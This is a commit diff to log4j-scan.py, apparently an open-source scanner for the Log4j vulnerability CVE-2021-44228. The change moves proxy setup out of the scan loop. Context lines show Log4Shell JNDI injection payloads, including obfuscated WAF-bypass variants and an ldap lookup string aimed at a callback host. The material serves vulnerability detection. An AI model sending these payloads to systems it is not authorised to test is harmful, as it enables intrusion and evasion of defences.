refactor proxying setup

fullhunt · Dec 14, 2021 · 5997fff · 5997fff
1 parent 1f0e39e
commit 5997fff
Showing 1 changed file with 7 additions and 5 deletions.
diff --git a/log4j-scan.py b/log4j-scan.py
@@ -49,6 +49,7 @@
 }
 post_data_parameters = ["username", "user", "email", "email_address", "password"]
 timeout = 4
+
 waf_bypass_payloads = ["${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://{{callback_host}}/{{random}}}",
                        "${${::-j}ndi:rmi://{{callback_host}}/{{random}}}",
                        "${jndi:rmi://{{callback_host}}}",
@@ -112,6 +113,10 @@
 args = parser.parse_args()
 
 
+proxies = {}
+if args.proxy:
+    proxies = {"http": args.proxy, "https": args.proxy}
+
 def get_fuzzing_headers(payload):
     fuzzing_headers = {}
     fuzzing_headers.update(default_headers)
@@ -243,7 +248,7 @@ def parse_url(url):
             "file_path": file_path})
 
 
-def scan_url(url, callback_host, proxies):
+def scan_url(url, callback_host):
     parsed_url = parse_url(url)
     random_string = ''.join(random.choice('0123456789abcdefghijklmnopqrstuvwxyz') for i in range(7))
     payload = '${jndi:ldap://%s.%s/%s}' % (parsed_url["host"], callback_host, random_string)
@@ -321,10 +326,7 @@ def main():
     cprint("[%] Checking for Log4j RCE CVE-2021-44228.", "magenta")
     for url in urls:
         cprint(f"[•] URL: {url}", "magenta")
-        proxies = {}
-        if args.proxy:
-            proxies = {"http": args.proxy, "https": args.proxy}
-        scan_url(url, dns_callback_host, proxies)
+        scan_url(url, dns_callback_host)
 
     if args.custom_dns_callback_host:
         cprint("[•] Payloads sent to all URLs. Custom DNS Callback host is provided, please check your logs to verify the existence of the vulnerability. Exiting.", "cyan")